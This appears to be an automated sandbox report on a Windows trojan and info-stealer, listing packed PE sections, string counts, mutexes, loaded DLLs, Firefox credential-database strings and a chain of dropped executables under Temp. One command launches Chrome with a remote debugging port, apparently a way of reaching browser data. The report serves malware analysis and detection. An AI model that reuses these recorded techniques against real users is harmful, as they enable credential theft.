
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	Code function: String function: 007080C0 appears 130 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C6B3620 appears 93 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C7C9F30 appears 51 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C81D930 appears 56 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C6B9B10 appears 99 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C6EC5E0 appears 35 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C81DAE0 appears 71 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C8109D0 appears 301 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 0020DF80 appears 63 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 0020D942 appears 83 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 0020D663 appears 39 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 0020D64E appears 66 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00228E10 appears 35 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00207A00 appears 38 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 002080C0 appears 263 times

Source: file.exe, 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2072489996.000000006F902000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: oxdvgcpf ZLIB complexity 0.9947310081562974
Source: random[1].exe.0.dr	Static PE information: Section: tshfwepr ZLIB complexity 0.994537783340669
Source: 923e9bc10d.exe.11.dr	Static PE information: Section: tshfwepr ZLIB complexity 0.994537783340669
Source: random[1].exe0.11.dr	Static PE information: Section: oxdvgcpf ZLIB complexity 0.9947310081562974
Source: d357e68128.exe.11.dr	Static PE information: Section: oxdvgcpf ZLIB complexity 0.9947310081562974

Source: d357e68128.exe.11.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: random[1].exe0.11.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: 923e9bc10d.exe.11.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: file.exe	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: random[1].exe.0.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@38/48@35/12

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C6F0300 MapViewOfFile,GetLastError,FormatMessageA,PR_LogPrint,GetLastError,PR_SetError,

0_2_6C6F0300

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\YG5W6WNV.htm

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1005363001\46218a4a07.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3104:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d

Source: C:\Users\user\DocumentsDGCFHIDAKE.exe

File created: C:\Users\user\AppData\Local\Temp\abc3bc1985

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1005343001\923e9bc10d.exe

File read: C:\Windows\System32\drivers\etc\hosts

Jump to behavior

Source: softokn3[1].dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.2056660772.000000001D3C9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2071884754.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.2056660772.000000001D3C9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2071884754.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.2056660772.000000001D3C9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2071884754.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.2056660772.000000001D3C9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2071884754.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, file.exe, 00000000.00000002.2056660772.000000001D3C9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2071884754.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.2056660772.000000001D3C9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2071884754.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: file.exe, 00000000.00000002.2056660772.000000001D3C9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2071884754.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: softokn3[1].dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.1861402837.000000001D2C5000.00000004.00000020.00020000.00000000.sdmp, e41fd24755.exe, 0000000E.00000003.2633883520.0000000005804000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.2056660772.000000001D3C9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2071884754.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.2056660772.000000001D3C9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2071884754.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe

ReversingLabs: Detection: 36%

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2060 --field-trial-handle=2224,i,3759947729293040694,8998904290489431999,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsDGCFHIDAKE.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsDGCFHIDAKE.exe "C:\Users\user\DocumentsDGCFHIDAKE.exe"
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1005343001\923e9bc10d.exe "C:\Users\user\AppData\Local\Temp\1005343001\923e9bc10d.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe "C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1005361001\d357e68128.exe "C:\Users\user\AppData\Local\Temp\1005361001\d357e68128.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe "C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1005361001\d357e68128.exe "C:\Users\user\AppData\Local\Temp\1005361001\d357e68128.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1005363001\46218a4a07.exe "C:\Users\user\AppData\Local\Temp\1005363001\46218a4a07.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe "C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsDGCFHIDAKE.exe"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2060 --field-trial-handle=2224,i,3759947729293040694,8998904290489431999,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsDGCFHIDAKE.exe "C:\Users\user\DocumentsDGCFHIDAKE.exe"	Jump to behavior
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1005343001\923e9bc10d.exe "C:\Users\user\AppData\Local\Temp\1005343001\923e9bc10d.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe "C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1005361001\d357e68128.exe "C:\Users\user\AppData\Local\Temp\1005361001\d357e68128.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1005363001\46218a4a07.exe "C:\Users\user\AppData\Local\Temp\1005363001\46218a4a07.exe"	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005343001\923e9bc10d.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005343001\923e9bc10d.exe	Section loaded: winmm.dll	Jump to behavior
